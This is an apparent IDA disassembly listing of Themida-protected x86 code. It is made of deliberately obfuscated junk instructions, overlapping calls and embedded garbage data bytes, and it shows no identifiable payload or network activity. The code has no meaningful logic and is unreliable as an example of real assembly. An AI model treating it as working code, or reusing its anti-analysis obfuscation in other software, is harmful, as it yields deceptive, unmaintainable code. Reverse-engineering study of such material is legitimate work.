loc_5FF264:				; CODE XREF: Themida_:005FF255j
		js	$+6
		popa
		mov	ebx, 666A3F3Bh
		jmp	loc_5FF27C
; ---------------------------------------------------------------------------
		db 0EFh, 48h, 57h
		dd 85E7DA3Bh
; ---------------------------------------------------------------------------


loc_5FF27C:				; CODE XREF: Themida_:005FF270j
		mov	dl, bl
		jo	loc_5FF294
		jmp	loc_5FF294
; ---------------------------------------------------------------------------
		db 6Bh,	99h, 56h
		dd 1CC6C6A0h, 2B76CEE5h
; ---------------------------------------------------------------------------


loc_5FF294:				; CODE XREF: Themida_:005FF27Ej
					; Themida_:005FF284j
		movzx	esi, di
		jg	loc_5FF2A2
		adc	di, 77DCh


loc_5FF2A2:				; CODE XREF: Themida_:005FF297j
		mov	bh, dl
		movzx	ebx, cx
		add	ah, 0FAh
		and	edi, 7A0D78C1h
		cmc
		and	edx, 6873CCA1h
		jnp	loc_5FF2C0
		mov	cx, ax


loc_5FF2C0:				; CODE XREF: Themida_:005FF2B7j
		js	loc_5FF2CB
		push	ebx
		sbb	al, 0D8h
		pop	edi


loc_5FF2CB:				; CODE XREF: Themida_:loc_5FF2C0j
		xor	bx, 8287h
		jnp	loc_5FF2D9
		xor	ah, 48h


loc_5FF2D9:				; CODE XREF: Themida_:005FF2D0j
		call	near ptr loc_5FF2EB+4
		dec	ecx
		xor	bl, [esi]
		mov	eax, ds:663CC5EEh
		pop	es
		db	36h
		pop	edx
		in	eax, 7Ch


loc_5FF2EB:				; CODE XREF: Themida_:loc_5FF2D9p
		jmp	near ptr 66EB87F0h
; ---------------------------------------------------------------------------
		dd 0B76CF81h, 14E95Eh, 0CB30000h, 454E134Bh, 0EA742BEAh
		dd 0A9B9A8C4h, 5012FF82h, 0FEBFFAE5h, 0F4852FAh, 1986h
		dd 14E900h, 65F50000h, 33D67D9Ch, 1AAB0AD7h, 651212A1h
		dd 18B3DBF3h, 0C381B006h, 2E1B4B98h, 3810FFCh, 66000000h
		dd 14E9CE8Bh, 74000000h, 96FED67Eh, 51283E96h, 0A028D711h
		dd 705737D8h, 0F54394Ch, 6E9DFB7h, 0F3000000h, 223B3FA7h
		dd 8166604Eh, 0F92DDAD2h, 18870F61h, 50000000h,	11E9h
		dd 847D6A00h, 2D967712h, 9DC549D9h, 0B5632F1h, 605BE4A4h
		dd 4CD28166h, 616DB213h, 48E0Fh, 0B6570000h, 8E85F0Ah
		dd 3C000000h, 8AC8F384h, 66331175h, 5F2AD0BFh, 18D0Fh
		dd 0B9F50000h, 2C94BD30h, 68E0Fh, 0D0810000h, 29EA2577h
		dd 0F287B966h, 0F532ED80h, 5DBA6651h, 8B665A95h, 0AE9F8h
		dd 81C50000h, 2AE4D8D7h, 0EF1E78EEh, 0DE9h, 0B9C5ED00h
		dd 0E83AC46Ch, 3C98E737h, 13E9E34Bh, 0A8000000h, 22C2CDA3h
		dd 675FEF8Fh, 0E68C8EC3h, 5F41E4C5h, 3EB89299h,	0F0AFC41h
		dd 383h, 0DABF0F00h, 6E9h, 0C8752B00h, 66A8B7ECh, 870FFA8Bh
		dd 6, 900FD681h, 0F1BA31B9h, 0E96E5A9Bh, 5, 0D08154FDh
		dd 3FBE666Dh, 0BE958h, 4DD80000h, 0F5A00E8h, 1F3816E6h
		dd 0BE8DEh, 5E1A0000h, 3A252230h, 0F5CAA36Fh, 18F9B922h
		dd 0F5B23D4h, 48Fh, 56BF6600h, 7B55BF56h, 10E92635h, 21000000h
		dd 0A33F5F77h, 97343FDAh, 0AD74F4ECh, 6688F071h, 0F0B9CB8h
		dd 1888h, 13E900h, 0CB760000h, 20A19832h, 1CB91509h, 0AB1FEB46h
		dd 6E532419h, 0B70F60D1h, 61CA8AF7h, 0EBCA8166h, 66595090h
		dd 0B70FDF8Bh, 0CE9D3h,	0A35D0000h, 2772E3B0h, 1FD8B817h
		dd 0BF0F46BEh, 66F78BD9h, 810F5CB9h, 25C288D9h,	8F9B96Eh
		dd 0C1815A52h, 4C53435Fh, 0FE9h, 92B9B300h, 948E189h, 0C9E9A78Dh
		dd 0BD924586h, 3840Fh, 8B660000h, 5810FD1h, 66000000h
		dd 6089E981h, 0F8C98150h, 5B0D5F32h, 10E9h, 0CC6F5D00h
		dd 29544538h, 0BF2A7706h, 0D81A1012h, 0BF66F511h, 0CC8AD97Dh
		dd 2DF28166h, 7E960h, 6FAD0000h, 4DB56F9Ch, 12820F03h
		dd 0E8000000h, 0Ah, 10B2252Ah, 789A837Ah, 5951116Ah, 74D0805Eh
		dd 860Fh, 0AE80000h, 4C000000h,	62E2212Ch, 1C2FDC16h, 0F5BFCFCh
		dd 488h, 0CABE6600h, 0D8BF66ADh, 0FEBF0F9Ah, 4810Fh, 0B8660000h
		dd 0B70F9217h, 18F0FC9h, 0F9000000h, 13E9h, 7CEBED00h
		dd 0D00638B7h, 0EC2D7BB8h, 0EF6D95AAh, 0F29D0C0Dh, 4800Fh
		dd 0BE660000h, 0B70F70AFh, 0FF98BC7h, 184h, 9E9F500h, 0FB000000h
		dd 5F22B2AFh, 2FF96FB0h, 0E3F4FDBEh, 78C0F75h, 60000000h
		dd 83E98166h, 0AE961A6h, 82000000h, 28862283h, 0DE970649h
		dd 0C4B157F9h, 10E95Ah,	0D5F40000h, 96CEC5B0h, 6255C966h
		dd 9E657Fh, 0D4803F70h,	0BB72BE89h, 8E91FF6h, 4D000000h
		dd 9D9042F1h, 0E912E9EEh, 7, 341CE73Bh,	66866272h, 0FE8D98Bh
		dd 71000000h, 6313EEC7h, 96D64631h, 4C63807Eh, 0BE98482h
		dd 4F000000h, 0DA3CF9CAh, 85D9F132h, 665BDA84h,	660C06BBh
		dd 0FC1F32B8h, 0A7EFC381h, 80601D61h, 0CE939F1h, 4F000000h
		dd 4B546F15h, 798BFA5Bh, 61BECAE2h, 5890Fh, 81660000h
		dd 811CFBDFh, 37F3CAC0h, 0F2B70F31h, 0FE9D18Bh,	99000000h
		dd 0E2251AE7h, 91C0AFEh, 1B8E6C9h, 66F81902h, 0FCAC19B8h
		dd 0FE8h, 21EC9200h, 0E21F2C22h, 27EBCEC0h, 0E7C7F0F6h
		dd 5A585351h, 0FAB70F59h, 0F8C28B66h, 0FBD28166h, 0CE8CBh
		dd 97B00000h, 0BFD3A4D8h, 0A6573C5h, 0BF0FCDD1h, 4CB85FC6h
		dd 664978D3h, 66CE13BEh, 60FEA2BFh, 0CD11BB66h,	0C68B6656h
		dd 0C3806158h, 0C38B668Bh, 6650D78Bh, 6659F38Bh, 0EE9D68Bh
		dd 0
		dd 6B41F8B5h, 3D1FADA2h, 0B9903ECEh, 60BEB201h,	80F88B66h
		dd 506141E2h, 8C0F51h, 5F000000h, 0E881665Bh, 6060CAA7h
		dd 0FA73DF81h, 816644C3h, 613F5DCFh, 0AE861h, 29400000h
		dd 9821B3Ah, 542EB427h,	28B0Fh,	5E500000h, 10E958h, 0F7490000h
		dd 0D4AE67C4h, 0ECE8D98Ah, 445B9DD7h, 0BF0F1A49h, 8BF28BCEh
		dd 850FF0h, 0F000000h, 14E9FEBFh, 57000000h, 0BA8FC788h
		dd 51354D7Fh, 9496BC94h, 0F64BD5Bh, 66F72340h, 0BF0FF88Bh
		dd 5810FF7h, 0BE000000h, 5EAED2C5h, 13E9h, 1A63900h, 80EC63E0h
		dd 518F4481h, 6CC51EAEh, 9078E030h, 288C0Fh, 0FE80000h
		dd 0B9000000h, 78761D2Bh, 864B7156h, 5BD5A1E7h,	0EE9681Ch
		dd 83000000h, 0BD4BA613h, 340C6E14h, 27C6862h, 0FC575F06h
		dd 0CE95Bh, 8FA50000h, 0CF275AA8h, 42E9FE33h, 0E9FC3658h
		dd 5, 0CEF181D7h, 68F0F0Ah, 81000000h, 77C01C2h, 0F0BF666Eh
		dd 8166F8B8h, 0FCA07C6h, 8B66C0B7h, 9148BEC3h, 6E91D6Ch
		dd 0F0000000h, 10FB5708h, 18850F8Dh, 0E9000000h, 13h, 0AED6EEA0h
		dd 47B232D5h, 93CCB86Bh, 0BC8FF90Fh, 0F980DC3h,	8B66D2B7h
		dd 13E9DAh, 0CC870000h,	0C41E5F50h, 6388631Ch, 993E69D4h
		dd 1D424CA3h, 0F28166C7h, 880F2150h, 2,	8C0FDE8Bh, 5, 27B0BEBAh
		dd 3A46BF6Ch, 0FF558B9h, 0F52DBB7h, 188h, 0B45EF900h, 4DBA6092h
		dd 617E84D5h, 890F60h, 61000000h, 0DD2CC3B8h, 7E9F504h
		dd 0F8000000h, 0C9F42F84h, 66F575BBh, 0DB81D881h, 17800Fh
		dd 12E90000h, 6C000000h, 1B4EB1A8h, 4ADFBE76h, 0DC5808DBh
		dd 0BA8E8909h, 47B86668h, 60F78BE2h, 66C28B66h,	0A8C0CB81h
		dd 0FFCF861h, 198Ch, 14E900h, 67340000h, 5D655C1Eh, 0E724ADF9h
		dd 0D341107Fh, 624605CAh, 8B519512h, 0E0805EFEh, 7BE18140h
		dd 664F45C7h, 4CFF781h,	11E9h, 0FD3DDC00h, 0E554D1Fh, 379E7258h
		dd 85C2AECDh, 8E96E7Fh,	7D000000h, 9B3FAB3h, 66F8E436h
		dd 0F22A3BEh, 687h, 41C68100h, 0E937A04Bh, 8, 917F6E99h
		dd 0C000CEC7h, 1A810Fh,	810F0000h, 14h,	0EE8h, 5BE1FA00h
		dd 0C889EB88h, 9335F770h, 5ED607C6h, 0C8B0Fh, 810F0000h
		dd 6, 890Fh, 810F0000h,	0Ch, 68A0Fh, 8A0F0000h,	0
; ---------------------------------------------------------------------------
		call	near ptr loc_5FF9D9+4
		mov	ebp, 0FAE3B8A8h
		inc	ebx
		add	dl, bl


loc_5FF9D9:				; CODE XREF: Themida_:005FF9CCp
		sbb	eax, 6050BB6Eh
		movzx	edx, di
		push	edi
		pop	ebx
		popa
		pop	eax
		movsx	eax, si
		pusha
		mov	ax, 5D62h
		jmp	loc_5FFA04
; ---------------------------------------------------------------------------
		sub	eax, 0BCD5D89Eh
		inc	ecx
		mov	dword ptr [esi], 2300E76Fh
		aaa
		mov	eax, 0DF613878h


loc_5FFA04:				; CODE XREF: Themida_:005FF9EDj
		popa
		jle	loc_5FFA0C
		cmc


loc_5FFA0C:				; CODE XREF: Themida_:005FFA05j
		jg	$+6
		jbe	loc_5FFA2C
		jmp	loc_5FFA2C
; ---------------------------------------------------------------------------
		adc	[edx-5EACF2ECh], ecx
		or	[esi+ebp*2+5B9030BCh], eax
		mov	eax, ebx


loc_5FFA2C:				; CODE XREF: Themida_:005FFA12j
					; Themida_:005FFA18j
		mov	edi, eax
		jno	loc_5FFA39
		mov	edi, 2F7D1848h


loc_5FFA39:				; CODE XREF: Themida_:005FFA2Ej
		ja	loc_5FFA41
		mov	eax, edi


loc_5FFA41:				; CODE XREF: Themida_:loc_5FFA39j
		mov	dl, 4Eh
		call	sub_5FFA51
		cmp	ch, ch
		test	[eax-42h], edx
		jno	short loc_5FFA72
		db	36h
		push	cs

; =============== S U B	R O U T	I N E =======================================



sub_5FFA51	proc near		; CODE XREF: Themida_:005FFA43p
		cmc
		pop	ebx
		mov	cx, di
		sub	dx, 0E6F9h
		mov	dx, bx
		sub	ebx, 3CC85C76h
		movzx	esi, dx
		ja	loc_5FFA86
		jmp	loc_5FFA86
; ---------------------------------------------------------------------------


loc_5FFA72:				; CODE XREF: Themida_:005FFA4Dj
		das
		mov	ecx, 0FC8957D6h
		sbb	al, 3Bh
		sub	[ebx+5Dh], edx
		inc	edi
		pop	esp
		cmp	al, 0AFh
		sub	eax, 0CBB7AD8h


loc_5FFA86:				; CODE XREF: sub_5FFA51+16j
					; sub_5FFA51+1Cj
		add	edi, 273EE40Bh
		mov	ax, 69ECh
		pusha
		mov	bx, dx
		jmp	loc_5FFA9F
; ---------------------------------------------------------------------------
		db 0D0h, 0FDh, 34h
		db 5Dh,	0F2h, 80h
; ---------------------------------------------------------------------------


loc_5FFA9F:				; CODE XREF: sub_5FFA51+43j
		popa
		sub	dl, 0B1h
		xor	dh, 0ECh
		call	sub_5FFAB4
		push	edx
		iret
sub_5FFA51	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0B4h, 36h, 99h
		dd 26E23D2Bh

; =============== S U B	R O U T	I N E =======================================



sub_5FFAB4	proc near		; CODE XREF: sub_5FFA51+55p
		pop	ebx
		mov	ecx, 780B2253h
		mov	bx, 1620h
		mov	si, 0AE47h
		mov	ax, 5CE1h
		mov	eax, 7D7BC7A0h
		mov	ecx, edi
		call	near ptr loc_5FFADC+1
		fsubr	dword ptr ds:3A9F5D9Bh
		mov	cl, 48h
		jns	short near ptr loc_5FFB4A+3


loc_5FFADC:				; CODE XREF: sub_5FFAB4+19p
		in	al, 0Fh
sub_5FFAB4	endp ; sp-analysis failed

		pop	dword ptr [eax+eax]
; ---------------------------------------------------------------------------
		db 2 dup(0), 66h
		dd 5F0DEAB9h, 9E9h, 7B3FE700h, 87878F4Ah, 0BF6693CFh, 69BB7010h
		dd 0F79CC53h, 28Ah, 660AB500h, 0FAB92B9h, 8B60CFB7h, 8F0F56FBh
		dd 0
; ---------------------------------------------------------------------------
		pop	edi
		popa
		jnz	loc_5FFB24
		mov	cx, 1423h


loc_5FFB24:				; CODE XREF: Themida_:005FFB1Aj
		mov	di, 0B0B0h
		push	eax
		push	esi
		mov	di, 0D2B4h
		pop	esi
		pop	edi
		adc	bx, 0D676h
		jle	loc_5FFB3E
		movzx	edi, dx


loc_5FFB3E:				; CODE XREF: Themida_:005FFB35j
		push	eax
		jns	loc_5FFB49
		mov	di, 7D37h


loc_5FFB49:				; CODE XREF: Themida_:005FFB3Fj
		pop	edi


loc_5FFB4A:				; CODE XREF: sub_5FFAB4+26j
		jl	loc_5FFB5A
		pusha
		mov	eax, 757B1962h
		mov	ax, di
		popa


loc_5FFB5A:				; CODE XREF: Themida_:loc_5FFB4Aj
		mov	edx, ecx
		jmp	loc_5FFB73
; ---------------------------------------------------------------------------
		db 7Eh,	0DDh, 15h
		dd 3DC52935h, 4133086Ch, 3684110Ch
		db 29h,	0, 0D5h
; ---------------------------------------------------------------------------


loc_5FFB73:				; CODE XREF: Themida_:005FFB5Cj
		clc
		call	sub_5FFB86
		sti
		retn
; ---------------------------------------------------------------------------
		db 42h
		dd 0A22034BAh, 78917644h
		db 0ABh, 30h

; =============== S U B	R O U T	I N E =======================================



sub_5FFB86	proc near		; CODE XREF: Themida_:005FFB74p
		mov	bx, 4BABh
		pop	edx
		call	near ptr loc_5FFB90+5


loc_5FFB90:				; CODE XREF: sub_5FFB86+5p
		lock sar dword ptr [ebx+59F504BDh], 1
sub_5FFB86	endp ; sp-analysis failed

		xor	ax, 0BF73h
		mov	cx, 74A3h
		clc
		mov	dx, 2F6Bh
		clc
		sub	cx, 6AA2h
		push	edi
		mov	esi, edi
		pop	esi
		mov	esi, 82B6748h
		jmp	loc_5FFBC1
; ---------------------------------------------------------------------------
		db 9Bh,	8Bh, 0F8h
		dd 879B3FC7h
		db 3
; ---------------------------------------------------------------------------


loc_5FFBC1:				; CODE XREF: Themida_:005FFBB4j
		push	edi
		jp	loc_5FFBDF
		jmp	loc_5FFBDF
; ---------------------------------------------------------------------------
		db 0DCh, 9Ch, 4Ah
		dd 3E442A1Ah, 45CC0A4Eh, 0D01355B0h
		db 0CFh, 42h, 4Eh
; ---------------------------------------------------------------------------


loc_5FFBDF:				; CODE XREF: Themida_:005FFBC2j
					; Themida_:005FFBC8j
		pop	eax
		mov	eax, 64D4B661h
		jnz	loc_5FFBF4
		jno	loc_5FFBF4
		and	dl, 71h


loc_5FFBF4:				; CODE XREF: Themida_:005FFBE5j
					; Themida_:005FFBEBj
		mov	edx, ebx
		jmp	loc_5FFC0D
; ---------------------------------------------------------------------------
		db 89h
		dd 0F9C52D0Ah, 0B182B305h, 5334CBA0h, 0E0D912BEh
; ---------------------------------------------------------------------------
		dec	ebx


loc_5FFC0D:				; CODE XREF: Themida_:005FFBF6j
		mov	ch, dl
		movsx	ecx, bx
		mov	cx, 7BAAh
		mov	ecx, edx
		jge	loc_5FFC20
		mov	cl, 3Fh


loc_5FFC20:				; CODE XREF: Themida_:005FFC18j
		jmp	loc_5FFC2B
; ---------------------------------------------------------------------------
		db 0B4h, 50h, 37h
		db 0DFh, 0CDh, 0C6h
; ---------------------------------------------------------------------------


loc_5FFC2B:				; CODE XREF: Themida_:loc_5FFC20j
		jz	loc_5FFC36
		or	bx, 60BBh


loc_5FFC36:				; CODE XREF: Themida_:loc_5FFC2Bj
		cmc
		jmp	loc_5FFC50
; ---------------------------------------------------------------------------
		dd 0C0A9779Bh
dword_5FFC40	dd 0CBC26C0Fh, 0F092B60Eh, 5BEFC63h, 4EAC0232h
					; CODE XREF: Themida_:005FFC9Aj
; ---------------------------------------------------------------------------


loc_5FFC50:				; CODE XREF: Themida_:005FFC37j
		mov	ecx, 24779B52h
		mov	eax, 11CEC2Fh
		clc
		mov	ax, 0EABh
		sbb	edi, 45746BA3h
		adc	edx, 3433FB48h
		mov	si, cx
		mov	edx, ecx
		mov	ch, bl
		mov	esi, ebx
		call	near ptr loc_5FFC83+2
		add	ecx, 0Dh


loc_5FFC7C:				; CODE XREF: Themida_:005FFCDCj
		mov	esi, 0C2FDBE24h
		repne pop edi


loc_5FFC83:				; CODE XREF: Themida_:005FFC74p
		add	[ebx+66h], ch
		sbb	ebx, 665F5161h
		mov	ebx, 8B662585h
		mov	byte ptr [esi-75h], 0F3h
		call	loc_5FFCA1
		jle	short near ptr dword_5FFC40
		test	eax, 37EEC307h


loc_5FFCA1:				; CODE XREF: Themida_:005FFC95p
		call	sub_5FFCB7
; ---------------------------------------------------------------------------
		dw 2439h
		dd 0AE591A73h, 7BE6ED6h, 0F62BFC1Eh
		db 0DCh, 8Fh, 79h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_5FFCB7	proc near		; CODE XREF: Themida_:loc_5FFCA1p
		stc
		pop	edx
		pop	edx
		xor	edi, 564E528Eh
		and	ecx, 1AD858CCh
		mov	si, 8673h
		add	ax, 3125h
		mov	ebx, 5D29CC0Ch
		call	sub_5FFCE0
sub_5FFCB7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6Dh,	0C6h, 0C9h
; ---------------------------------------------------------------------------
		jnz	short loc_5FFC7C
		shl	byte ptr [eax],	1

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_5FFCE0	proc near		; CODE XREF: sub_5FFCB7+1Dp
		mov	di, 0F482h
		pop	ebx
		adc	dh, 34h
		jmp	loc_5FFCFA
; ---------------------------------------------------------------------------
		db 0Dh,	6Fh, 7Ch
		dd 92068ADBh, 2DB2D020h
		db 0BDh, 16h
; ---------------------------------------------------------------------------


loc_5FFCFA:				; CODE XREF: sub_5FFCE0+8j
		mov	esi, 4910396Ah
		pusha
		mov	bx, cx
		jmp	loc_5FFD13
; ---------------------------------------------------------------------------
		dd 4DBD3A63h, 5B2256FBh
		db 0F3h, 0F1h, 8
; ---------------------------------------------------------------------------


loc_5FFD13:				; CODE XREF: sub_5FFCE0+23j
		popa
		mov	ch, 14h
		or	dh, 8Dh
		clc
		jmp	loc_5FFD2A
; ---------------------------------------------------------------------------
		db 0AAh
		dd 7A9895E7h, 0EEAF677Bh
		db 6Bh,	0F1h
; ---------------------------------------------------------------------------


loc_5FFD2A:				; CODE XREF: sub_5FFCE0+3Aj
		add	edx, 356333Fh
		adc	edi, 4A5BDB8h
		jmp	loc_5FFD4D
; ---------------------------------------------------------------------------
		db 0E4h
		dd 0A8B22DB9h, 0F0F4D807h, 3F8968B5h, 80E0E82Dh
		db 75h
; ---------------------------------------------------------------------------


loc_5FFD4D:				; CODE XREF: sub_5FFCE0+56j
		movzx	edx, di
		jnb	loc_5FFD59
		movsx	edx, si


loc_5FFD59:				; CODE XREF: sub_5FFCE0+70j
		call	sub_5FFD6D
		mov	al, al
		hlt
sub_5FFCE0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0F8h, 66h, 4Bh
		dd 0F6D38DFDh, 9C1B5C34h
; ---------------------------------------------------------------------------
		pop	ebx

; =============== S U B	R O U T	I N E =======================================



sub_5FFD6D	proc near		; CODE XREF: sub_5FFCE0:loc_5FFD59p

; FUNCTION CHUNK AT 005FFD89 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005FFDAF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005FFDC2 SIZE 0000001B BYTES

		jo	loc_5FFD89
		call	near ptr loc_5FFD84+4
		popa
		call	near ptr 271B81C2h
		mov	ebp, 4F974D01h
		cmc


loc_5FFD84:				; CODE XREF: sub_5FFD6D+6p
		adc	eax, 5F1DB01Dh
sub_5FFD6D	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_5FFD6D


loc_5FFD89:				; CODE XREF: sub_5FFD6Dj
		pop	edi
		mov	dx, cx
		add	edx, 5B4E3C18h
		pusha
		jns	loc_5FFDAF
		jmp	loc_5FFDAF
; END OF FUNCTION CHUNK	FOR sub_5FFD6D
; ---------------------------------------------------------------------------
		db 0FCh
		dd 338CB136h, 0EE9953A5h, 9AD1212Dh
		db 9Eh,	0AFh, 0DFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5FFD6D


loc_5FFDAF:				; CODE XREF: sub_5FFD6D+27j
					; sub_5FFD6D+2Dj
		jmp	loc_5FFDC2
; END OF FUNCTION CHUNK	FOR sub_5FFD6D
; ---------------------------------------------------------------------------
		dd 9CB39FACh, 74BC1273h, 8B982CF5h
		db 0E7h, 0ACh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5FFD6D


loc_5FFDC2:				; CODE XREF: sub_5FFD6D:loc_5FFDAFj
		popa
		xor	ebx, 750BF66Eh
		call	sub_5FFDDD
		fcmovb	st, st
		push	ss
		bound	eax, [edx]
		cld
		das
		mov	esp, 0A6E01EE3h
		dec	edx
		dec	esp
		sti
; END OF FUNCTION CHUNK	FOR sub_5FFD6D

; =============== S U B	R O U T	I N E =======================================



sub_5FFDDD	proc near		; CODE XREF: sub_5FFD6D+5Cp
		mov	edx, ebx
		pop	ecx
		call	loc_5FFDEE
		mov	ebx, 67ACB1D6h
		push	es
		xchg	eax, ebp
		mov	cl, 51h
sub_5FFDDD	endp ; sp-analysis failed



loc_5FFDEE:				; CODE XREF: sub_5FFDDD+3p
		pop	esi
		jbe	loc_5FFDFA
		sbb	di, 82B2h


loc_5FFDFA:				; CODE XREF: Themida_:005FFDEFj
		add	esi, 57B0E84Dh
		movzx	edi, ax
		call	loc_5FFE13
; ---------------------------------------------------------------------------
		dd 542166FEh, 0ACF1CF55h
		db 0A7h, 0AEh, 14h
; ---------------------------------------------------------------------------


loc_5FFE13:				; CODE XREF: Themida_:005FFE03p
		mov	al, dl
		pop	ebx
		stc
		mov	esi, 4467345Bh
		js	loc_5FFE33
		call	sub_5FFE30	; CODE XREF: Themida_:005FFE2Aj
		inc	ebx
		movsb
		pushf
		jb	short near ptr loc_5FFE22+4
		pop	esp
		popa
; ---------------------------------------------------------------------------
		dw 0F9DBh

; =============== S U B	R O U T	I N E =======================================



sub_5FFE30	proc near		; CODE XREF: Themida_:loc_5FFE22p
		push	edi
		pop	eax
		pop	edx


loc_5FFE33:				; CODE XREF: Themida_:005FFE1Cj
		mov	ax, cx
		mov	bx, 0FA64h
		movsx	ebx, si
		adc	edx, 11DB28B0h
		and	ebx, 51CC7C28h
		stc
		or	edi, 356049B3h
		sub	ax, 0E794h
		pusha
		push	edi
		mov	bl, 0F9h
		pop	edx
		mov	ecx, 1FE405FAh
		popa
		jmp	loc_5FFE6B
; ---------------------------------------------------------------------------
		db 0D8h, 6Eh, 48h
		db 0ECh, 37h, 0DBh
; ---------------------------------------------------------------------------


loc_5FFE6B:				; CODE XREF: sub_5FFE30+30j
		push	esi
		pop	edi
		sbb	edi, 31FF5931h
		push	edi
		movzx	eax, cx
		pop	esi
		mov	ecx, ebx
		jns	$+6
		call	near ptr loc_5FFE89+1
		inc	esp
		cld
		mov	[ebx], edi


loc_5FFE89:				; CODE XREF: sub_5FFE30+50p
		add	al, 0Fh
sub_5FFE30	endp ; sp-analysis failed

		mov	es, word ptr ds:66000000h
		add	edi, 665EC003h
		mov	esi, 6660711Ah
		mov	ecx, 0F96156E1h
		movzx	esi, cx
		xor	cx, 0C522h
		mov	ecx, 0D321D7Ch
		jmp	loc_5FFEB8
; ---------------------------------------------------------------------------
		db 0E4h
; ---------------------------------------------------------------------------
		sub	byte ptr [edi+edi*8], 9Ch


loc_5FFEB8:				; CODE XREF: Themida_:005FFEAEj
		push	edi
		xor	di, 0FD61h
		pop	edi
		cld
		jmp	loc_5FFED0
; ---------------------------------------------------------------------------
		db 9Bh,	0BCh, 2Fh
		dd 0C4FA4AFCh, 0FF88FFB8h
; ---------------------------------------------------------------------------


loc_5FFED0:				; CODE XREF: Themida_:005FFEC0j
		pusha
		mov	si, dx
		popa
		sub	cl, 27h
		call	sub_5FFEE9
		stc
		inc	edi
		clc
		inc	ebx
		mov	eax, 698C174h
		xor	dl, bh
		xchg	eax, edx

; =============== S U B	R O U T	I N E =======================================



sub_5FFEE9	proc near		; CODE XREF: Themida_:005FFED8p
		mov	dx, cx
		pop	eax
		push	eax
		pop	edi
		pusha
		movzx	edx, ax
		jmp	loc_5FFF02
; ---------------------------------------------------------------------------
		mov	eax, ds:0A84CD19Bh
		adc	[eax], ecx
		db	3Eh
		sub	al, al


loc_5FFF02:				; CODE XREF: sub_5FFEE9+Aj
		popa
		mov	ecx, eax
		jmp	loc_5FFF14
; ---------------------------------------------------------------------------
		dw 0B479h
		dd 82E01A88h, 0A5B0F550h
; ---------------------------------------------------------------------------


loc_5FFF14:				; CODE XREF: sub_5FFEE9+1Cj
		clc
		call	near ptr loc_5FFF29+1
		scasb
		pusha
		pop	es
		inc	eax
		jmp	short loc_5FFF21
; ---------------------------------------------------------------------------
		db 73h
; ---------------------------------------------------------------------------


loc_5FFF21:				; CODE XREF: sub_5FFEE9+35j
		popa
		rcl	byte ptr [edi+76CA2AE8h], 0CFh


loc_5FFF29:				; CODE XREF: sub_5FFEE9+2Cp
		or	[eax+71FFBC3Bh], bh
sub_5FFEE9	endp ; sp-analysis failed

		pop	edi
		pusha
		movzx	eax, dx
		mov	edx, ebx
		popa
		cmc
		call	near ptr sub_5FFF48
		mov	al, ds:0BD2C8806h
		fbstp	tbyte ptr [ebx-2E8617A4h]

; =============== S U B	R O U T	I N E =======================================



sub_5FFF48	proc far		; CODE XREF: Themida_:005FFF38p
		cld
		pop	edi
		jnb	loc_5FFF5C
		jnz	loc_5FFF5C
		jge	$+6


loc_5FFF5C:				; CODE XREF: sub_5FFF48+2j
					; sub_5FFF48+8j
		call	sub_5FFF6D
		retf
sub_5FFF48	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0B00Dh
		dd 7A9A75ADh, 51B940C5h
		db 10h

; =============== S U B	R O U T	I N E =======================================



sub_5FFF6D	proc near		; CODE XREF: sub_5FFF48:loc_5FFF5Cp
		sub	edx, 18068073h
		pop	edi
		cmc
		jnp	$+6
		and	ebx, 749DC18Ch
		jmp	loc_5FFF8F
; ---------------------------------------------------------------------------
		dw 0C4A1h
; ---------------------------------------------------------------------------
		pop	ecx
		mov	al, ds:50ED45A3h
		xchg	eax, esi


loc_5FFF8F:				; CODE XREF: sub_5FFF6D+14j
		add	ebx, 79A8F376h
		push	ecx
		pop	ebx
		push	edi
		movzx	edx, cx
		pop	edi
		mov	esi, edx
		mov	di, 777Dh
		add	bx, 0ECD7h
		pusha
		pusha
		add	di, 1F23h
		movsx	eax, si
		popa
		xor	ax, 6AECh
		popa
		mov	di, 5E32h
		movsx	esi, di
		jb	loc_5FFFC9
		mov	di, 341h


loc_5FFFC9:				; CODE XREF: sub_5FFF6D+52j
		mov	dx, 5C40h
		jns	loc_5FFFE7
		jmp	loc_5FFFE7
; ---------------------------------------------------------------------------
		dd 72FB698Bh, 3DA1BF8Fh, 0A55E49D0h
		db 90h
		db 0E6h, 41h
; ---------------------------------------------------------------------------


loc_5FFFE7:				; CODE XREF: sub_5FFF6D+60j
					; sub_5FFF6D+66j
		jmp	loc_5FFFF6
; ---------------------------------------------------------------------------
		dd 4997A71Bh, 0C301DBh
		db 0EFh, 86h
; ---------------------------------------------------------------------------


loc_5FFFF6:				; CODE XREF: sub_5FFF6D:loc_5FFFE7j
		sub	edx, 64FD62A7h
		mov	si, dx
		jnp	loc_60000C
		pusha
		mov	bx, di
		pusha
		popa
		popa


loc_60000C:				; CODE XREF: sub_5FFF6D+92j
		sbb	eax, 2A0BE5CFh
		movsx	esi, cx
		jmp	loc_600025
; ---------------------------------------------------------------------------
		cwde
		movsd
		sub	al, [ebp+4Eh]
		daa
		and	ecx, esp
		or	al, 0B2h
		xchg	eax, ecx


loc_600025:				; CODE XREF: sub_5FFF6D+A8j
		mov	edi, 62214E40h
		jno	loc_600035
		mov	ecx, 17114A85h


loc_600035:				; CODE XREF: sub_5FFF6D+BDj
		jmp	loc_600041
; ---------------------------------------------------------------------------
		dw 889Dh
		dd 870515EDh
; ---------------------------------------------------------------------------
		pop	ebp


loc_600041:				; CODE XREF: sub_5FFF6D:loc_600035j
		pusha
		jmp	loc_60004C
; ---------------------------------------------------------------------------
		db 11h
		dd 0B1979F30h
; ---------------------------------------------------------------------------


loc_60004C:				; CODE XREF: sub_5FFF6D+D5j
		mov	di, 0A6ACh
		popa
		call	near ptr loc_600061+5
		push	dword ptr [ebp-4B962523h]
		mov	eax, 86AC9ACFh


loc_600061:				; CODE XREF: sub_5FFF6D+E4p
		add	bh, [eax-16B5B963h]
sub_5FFF6D	endp ; sp-analysis failed

		push	es
; ---------------------------------------------------------------------------
